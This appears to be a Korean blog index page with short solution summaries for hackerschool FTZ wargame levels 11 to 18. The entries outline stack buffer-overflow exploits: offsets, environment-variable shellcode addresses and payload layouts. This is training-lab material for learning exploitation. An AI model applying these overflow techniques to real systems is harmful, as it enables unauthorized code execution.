본문 바로가기

전체 글

(71)
hackerschool FTZ : level 18 풀이 문제 분석 1. count string -4 string -4 = check = 0xdeadbeef 2. payload = 0x08*4 + check = 0x08*4 + 0xdeadbeef
hackerschool FTZ : level 17 풀이 문제 분석 1. fgets bof 2. *call = shell_addr 풀이 1. buf 주소 확인 : ebp-56 call 주소 확인 : ebp-16 0xffffffc8(%ebp) = ebp-56 0xfffffff0(%ebp) = ebp-16 2. shellcode 환경변수로 저장 후 주소 확인 : 0xbffffbe2 자세한 설명 : https://pu1et-panggg.tistory.com/51 3. payload = dummy(40bytes) + shellcode_addr = "a"*40 + 0xbffffbe2
hackerschool FTZ : level 16 풀이 문제 분석 1. fgets bof 2. *call = shell 풀이 1. shell 함수 주소 확인 : 0x80484d0 readelf -s attackme | grep shell attackme 파일의 심볼 테이블 중 shell이 들어간 문자열 출력 2. buf 주소 확인 : ebp-56 call 주소 확인 : ebp-16 0xffffffc8(%ebp) = ebp-56 0xfffffff0(%ebp) = ebp-16 3. payload = dummy(40bytes) + shell_addr = "a"*40 + 0x80484d0
hackerschool FTZ : level 15 풀이 문제 분석 1. fgets bof 2. 조건 : *check==0xdeadbeef 풀이 1. bof 위치 확인 : ebp-56 0xffffffc8(%ebp) = ebp-56 2. check 위치 확인 : ebp-16 0xfffffff0(%ebp) = ebp-16 3. 0xdeadbeef 주소 확인 0xdeadbeef가 하드코딩 되어있음 -> 0xdeadbeef 주소 확인 4. payload = dummy(40bytes) + deadbeef_addr = "a"*40 + 0xdeadbeef
hackerschool FTZ : level 14 풀이 문제 분석 1. fgets bof 2. 조건 : check==0xdeadbeef 풀이 1. bof 위치 확인 : ebp-56 lea 0xffffffc8(%ebp), %eax => lea eax ebp-56 2. check 위치 확인 : ebp-16 cmpl $0xdeadbeef, 0xfffffff0(%ebp) => cmp ebp-16 0xdeadbeef 3. payload = dummy(40bytes) + check = "a"*40 + 0xdeadbeef
hackerschool FTZ : level 13 풀이 문제 분석 1. strcpy를 이용해 bof 2. 조건 : argc>1 && i==0x1234567 풀이 1. 변수 i의 위치 확인 : ebp-12 lea 0xffffbe8(%ebp), %eax => lea eax ebp-12 ebp-12 보면 0x1234567 확인 가능 2. 환경변수로 저장한 쉘 주소 획득 : 0xbffffbc9 쉘코드의 환경변수 등록 : https://pu1et-panggg.tistory.com/51 3. payload = dummy(1036bytes) + 0x1234567 + dummy(12bytes) + ret(shellcode) = "a"*1036 + 0x1234567 + "a"*12 + 0xbffffbc9
hackerschool FTZ : level 12 풀이 문제 분석 gets를 이용해 main 함수의 ret 조작 풀이 1. str 크기 : 264bytes 2. shellcode 환경 변수 저장 환경변수 시작주소가 안맞을 수도 있기 때문에 환경변수에 “\x90”(nop)을 여유있게 넣어준다. 3. 저장된 shellcode 주소 : 0xbffffbde 이름이 "SHELLCODE"인 환경변수의 주소를 출력해주는 함수 작성 -> 실행 4. payload = dummy(268bytes) + ret = "a"*268 + 0xbffffbde 참고 cat을 쓰는 이유 프로그램을 실행하면 쉘이 열렸다 바로 닫히기 때문에 cat을 실행해서 cat에 입력한 값을 쉘에 넘겨준다.
hackerschool FTZ : level 11 풀이 문제 분석 strcpy를 이용해 main 함수의 ret 조작 풀이 1. str 크기 : 264bytes 0x108(=264) 만큼 스택에 할당 2. payload = shellcode(268bytes) + ret = {nop+shellcode} + 0xbffffbb8